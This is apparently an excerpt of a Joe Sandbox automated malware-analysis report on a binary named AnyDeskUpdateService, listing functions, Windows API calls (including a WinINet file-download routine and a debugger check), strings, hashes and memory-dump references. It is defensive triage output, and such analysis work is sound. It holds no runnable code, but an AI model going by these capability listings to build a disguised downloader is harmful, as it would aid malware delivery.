Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: cd5b1ec9326ab752cbab8a506842d599e38701f1fb06bfee859337e6559e84a7
Instruction ID: 3ec638ccb2a22bd5c21a421c03ad4e741ca690cb6c83fe80f800e2cd1201d65b
Opcode Fuzzy Hash: cd5b1ec9326ab752cbab8a506842d599e38701f1fb06bfee859337e6559e84a7
Instruction Fuzzy Hash: B5219132A08A0989EB18AF68C4402EC73A1FB05728F844637D79D06AD5EF39D449CB64

Function 00007FF71DDBA608 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDBA62B

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9d10737dc36b8b843b61fb58a14bc19d5b98b9f7f770ad25068d1438e06418a0
Instruction ID: 27e862f56925a7b4b1900ab29242c015368329a6c9d1f8e97a251ab0a9b9935c
Opcode Fuzzy Hash: 9d10737dc36b8b843b61fb58a14bc19d5b98b9f7f770ad25068d1438e06418a0
Instruction Fuzzy Hash: FA21047260CE458BDB20AF18D44037AB6A0EB85B69F945236E79D476D9FF7CD9088F00

Function 00007FF71DDA5868 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDA57D4

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9c2b010f9fa43751fc1f95174d0124191e0158cc223ab54cdde051c009ea6ba6
Instruction ID: 21f513b8bfc4d63dc5a8294039182e86884b29be7a936ac54700639d9d12d14d
Opcode Fuzzy Hash: 9c2b010f9fa43751fc1f95174d0124191e0158cc223ab54cdde051c009ea6ba6
Instruction Fuzzy Hash: DE11A22290CE8981FE51BB5194003B9D690AF45FA0FD48533EACC07786EF6CF9088F60

Function 00007FF71DDACF68 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF71DDACFA6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34fa0c17ac562eb5d37cc09ed756b26e56ee863967359fa7e16fcac7812e7201
Instruction ID: 288c3aacb40c382761f24e364eb9a5f075c75b51894e0a7ca6a7823ac3e475ed
Opcode Fuzzy Hash: 34fa0c17ac562eb5d37cc09ed756b26e56ee863967359fa7e16fcac7812e7201
Instruction Fuzzy Hash: 47F03A09E4EE0A45FE2476695940279D2909F84B70F888633DDAE453C1FE6CE44C8D70

Function 00007FF71DD97CF0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF71DD97D04

Part of subcall function 00007FF71DD998F0: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF71DD998F8
Part of subcall function 00007FF71DD998F0: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF71DD998FD

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 618b27d6aae39a8f871c17403ea0f75d10ea49eca7122d85f07bb336888fced9
Instruction ID: 513f151435973c67e1e1548d4913eb1e4aa01550284f8648370f5fc1e8fcef30
Opcode Fuzzy Hash: 618b27d6aae39a8f871c17403ea0f75d10ea49eca7122d85f07bb336888fced9
Instruction Fuzzy Hash: 3EE0B610E4CA4FA4FE5C366115022B8C2425F21364ED1247BD8DD421C7BE0F650F2E71

Non-executed Functions

Function 00007FF71DDB6ED0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF71DDAAB80: GetLastError.KERNEL32 ref: 00007FF71DDAAB8F
Part of subcall function 00007FF71DDAAB80: FlsGetValue.KERNEL32 ref: 00007FF71DDAABA4
Part of subcall function 00007FF71DDAAB80: SetLastError.KERNEL32 ref: 00007FF71DDAAC2F

TranslateName.LIBCMT ref: 00007FF71DDB6F3A
TranslateName.LIBCMT ref: 00007FF71DDB6F75
GetACP.KERNEL32 ref: 00007FF71DDB6FBC
IsValidCodePage.KERNEL32 ref: 00007FF71DDB6FF4
GetLocaleInfoW.KERNEL32 ref: 00007FF71DDB71BD

Strings

utf8, xrefs: 00007FF71DDB70D8

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 14816602239c270488777120d7bc797dcd23991c8037706dbea35f75d9bef3fc
Instruction ID: 016798323aff2280494b78626b7f15835f0f2e4e7914667d8a41447f35f4b5b0
Opcode Fuzzy Hash: 14816602239c270488777120d7bc797dcd23991c8037706dbea35f75d9bef3fc
Instruction Fuzzy Hash: 02919522A0CF4A66EB24BF11D4006B9A754EB46BA4F854137DA8C477C5FF3CE649CB60

Function 00007FF71DD8CDF0 Relevance: 10.6, APIs: 7, Instructions: 90filenetworkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00007FF71DD8CE27
InternetOpenUrlW.WININET ref: 00007FF71DD8CE49
CreateFileW.KERNEL32 ref: 00007FF71DD8CE75
InternetReadFile.WININET ref: 00007FF71DD8CE91
WriteFile.KERNEL32 ref: 00007FF71DD8CECA
InternetReadFile.WININET ref: 00007FF71DD8CEE3
CloseHandle.KERNEL32 ref: 00007FF71DD8CEF0

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: FileInternet$OpenRead$CloseCreateHandleWrite
String ID:
API String ID: 1744991900-0
Opcode ID: 362309099b881e5bbaf2cceeef3ea73f52e033be54d2f21a1e01227d0a0bf40a
Instruction ID: e5ad79a69e054525cf717ec10edbdb225afd3bd4508d53c653da8c1c6c503a25
Opcode Fuzzy Hash: 362309099b881e5bbaf2cceeef3ea73f52e033be54d2f21a1e01227d0a0bf40a
Instruction Fuzzy Hash: 7231806161CA9A87EB209F55B41476AB760FB86BD4F84513ADE8D07B44EF3CD1088F14

Function 00007FF71DDA478C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF71DDA4805
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF71DDA481D
RtlVirtualUnwind.KERNEL32 ref: 00007FF71DDA4858
IsDebuggerPresent.KERNEL32 ref: 00007FF71DDA4891
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF71DDA489B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF71DDA48A6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: bae0a4c4c2cad22568b79b792437c816fd46d0f8199cd0bc6f17ff1263d381fd
Instruction ID: fb7027ce2595fcf965d6e36def1a152d9235c6a5c0b1e689fbb65d5856f7b128
Opcode Fuzzy Hash: bae0a4c4c2cad22568b79b792437c816fd46d0f8199cd0bc6f17ff1263d381fd
Instruction Fuzzy Hash: DE318232618F8596DB609F25E8402AEB3A4FB89764F900136EACD43B58EF3CD1498F10

Function 00007FF71DDB32B4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDB3300
FindFirstFileExW.KERNEL32 ref: 00007FF71DDB340A

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 658c65c6f5ef4d0db26e92ac1cc86db02e546a4b2c9906c63f91599e1882df55
Instruction ID: e3443e64604a12f373c593b7a0382d3afeb50fb7f4fc8ef94aaa82b91ec25fa5
Opcode Fuzzy Hash: 658c65c6f5ef4d0db26e92ac1cc86db02e546a4b2c9906c63f91599e1882df55
Instruction Fuzzy Hash: E5B1B422B1CE9A51EA61AB2594001BDE390EB46BF8FC44133ED9D47B85FE3CE549DB10

Function 00007FF71DDAF064 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 255COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDAF0AF

Strings

PATH, xrefs: 00007FF71DDAF15A
\, xrefs: 00007FF71DDAF214

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: PATH$\
API String ID: 3215553584-1896636505
Opcode ID: 78d1498a7ba4fc8b108e4d11ee0c9dc7d413f3dcf0b479bb9b363cac964cb1ff
Instruction ID: 9a8d7db16d31b83d042291bfae41935d6b5bb3759e8c88bd0afcd788175864fc
Opcode Fuzzy Hash: 78d1498a7ba4fc8b108e4d11ee0c9dc7d413f3dcf0b479bb9b363cac964cb1ff
Instruction Fuzzy Hash: 3791C623F0CE4A45FB24BB71945027DA6A06F45F78F9485F7EE8D063C5EE3CA4498A21

Function 00007FF71DD91EF0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 221COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD91F29
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD91F4E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD91F78
std::_Facet_Register.LIBCPMT ref: 00007FF71DD91FF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD92013
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD9206F

Strings

invalid string position, xrefs: 00007FF71DD92084

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: invalid string position
API String ID: 2081738530-1799206989
Opcode ID: fb0e87724d7bafdbaa693a83112c149b3eaf14ca156fab27724b0630734682c2
Instruction ID: 73e10c62882552bdd5bc853548dfaa35c1eed28139ebac894333aad22978deb6
Opcode Fuzzy Hash: fb0e87724d7bafdbaa693a83112c149b3eaf14ca156fab27724b0630734682c2
Instruction Fuzzy Hash: C4817322A0CE4985EE14EF15D490279A761FF84BA4F984233DE9D077A5EF3DE44ACB10

Function 00007FF71DD885F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32 ref: 00007FF71DD8861B
GetLastError.KERNEL32 ref: 00007FF71DD88629
ReportEventW.ADVAPI32 ref: 00007FF71DD88694
DeregisterEventSource.ADVAPI32 ref: 00007FF71DD8869D

Strings

AnyDeskUpdateService, xrefs: 00007FF71DD8864E
%s failed with %d, xrefs: 00007FF71DD88632
AnyDeskUpdateService, xrefs: 00007FF71DD88612

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Event$Source$DeregisterErrorLastRegisterReport
String ID: %s failed with %d$AnyDeskUpdateService$AnyDeskUpdateService
API String ID: 544316925-1586499718
Opcode ID: 3d5dde09e4f0c9a8635dc3b2002a576137b068c398dccda7d93cadec4662d94b
Instruction ID: 46200e796e60df4242b38f2109495df45f986ee354865e289defca70c5cc4d3e
Opcode Fuzzy Hash: 3d5dde09e4f0c9a8635dc3b2002a576137b068c398dccda7d93cadec4662d94b
Instruction Fuzzy Hash: D0112C3161CF8986EB659B54F4513AAB3A0FB887A4F80013AEACD43B54EF7CD1488F50

Function 00007FF71DDA9A64 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDA9AA7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDA9E94
_invalid_parameter_noinfo.LIBCMT ref: 00007FF71DDAA130

Strings

p, xrefs: 00007FF71DDA9BD1
f, xrefs: 00007FF71DDA9BC9
p, xrefs: 00007FF71DDA9B59

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: a2d7795b7d04fa7270e565260d41ff3577274ae9c7a6f098e1df81c8233e13d8
Instruction ID: 8600b965a620a0c9bc1de3dde5cacbc288ec77a428bea7bc87d50a321d0f19ac
Opcode Fuzzy Hash: a2d7795b7d04fa7270e565260d41ff3577274ae9c7a6f098e1df81c8233e13d8
Instruction Fuzzy Hash: 4712C326E0D94B86FB207A55D15427AF691EB40F60FC4C137E6C9467C4EB3CEA888F25

Function 00007FF71DD82050 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD820BB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71DD82103
_Getctype.LIBCPMT ref: 00007FF71DD8211B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD821D3
_Getwctype.LIBCPMT ref: 00007FF71DD82221

Strings

bad locale name, xrefs: 00007FF71DD821F6

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$GetctypeGetwctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1386471777-1405518554
Opcode ID: 2fb573258588d9a0732103de3035a81878e4e8febdd76704b08a3a214b084dd1
Instruction ID: 005ef8afadd09991c129acc01a159d375c5dc4a2446a470794487e9a259acea6
Opcode Fuzzy Hash: 2fb573258588d9a0732103de3035a81878e4e8febdd76704b08a3a214b084dd1
Instruction Fuzzy Hash: 53519A22B0DB458AFB15EBB0D4902BC7371AF44758F844136DF8D26A56EF38E55AC720

Function 00007FF71DD9CD6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF71DD9CDF1
GetLastError.KERNEL32 ref: 00007FF71DD9CDFF
LoadLibraryExW.KERNEL32 ref: 00007FF71DD9CE29
FreeLibrary.KERNEL32 ref: 00007FF71DD9CE97
GetProcAddress.KERNEL32 ref: 00007FF71DD9CEA3

Strings

api-ms-, xrefs: 00007FF71DD9CE11

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: d6d876a61148c08aaa09cadfa9bfd10722785b3aceef806c8e2bf92c7e5e0abf
Instruction ID: 4810d9355caf67f6f5ea063bae7a6edddd992364e836ef572e25be99abc9d68b
Opcode Fuzzy Hash: d6d876a61148c08aaa09cadfa9bfd10722785b3aceef806c8e2bf92c7e5e0abf
Instruction Fuzzy Hash: 7D310721B1EF5981EE16BB46A800675A395BF04BB1FD90536DD9E07390FF3CE4888B60

Function 00007FF71DDBC03C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF71DDBC06D
GetLastError.KERNEL32 ref: 00007FF71DDBC079
CloseHandle.KERNEL32 ref: 00007FF71DDBC091
CreateFileW.KERNEL32 ref: 00007FF71DDBC0BC
WriteConsoleW.KERNEL32 ref: 00007FF71DDBC0DB

Strings

CONOUT$, xrefs: 00007FF71DDBC09D

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 150489296217e134fac2ce95dd32539a7224101ed53f0799fee9b0db1a451bf2
Instruction ID: bbb9f207c51f0396e055922067c3d05c454bd906a5f730fc9d2765eccbf090a2
Opcode Fuzzy Hash: 150489296217e134fac2ce95dd32539a7224101ed53f0799fee9b0db1a451bf2
Instruction Fuzzy Hash: 3111B421A1CF5582E750AB56E854329A6A0FB89BF4F804235E99D83790EF7CD5188B50

Function 00007FF71DD92740 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD92755
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71DD9277A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD927A4
std::_Facet_Register.LIBCPMT ref: 00007FF71DD9281B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF71DD9283C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD9284F

Memory Dump Source

Source File: 00000019.00000002.2253430601.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00007FF71DD80000, based on PE: true

Associated: 00000019.00000002.2253409830.00007FF71DD80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253430601.00007FF71DDDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253514569.00007FF71DDDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000019.00000002.2253531400.00007FF71DDDD000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff71dd80000_AnyDeskUpdateService.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0117289e98df00da582755afb24c31f3f504ef9a4471fb3c4949e3d48aaf6a78
Instruction ID: c91798e06cfaf60c27d4a78e1a217fe7027b0b7277a9f72aa19169638f5bb25a
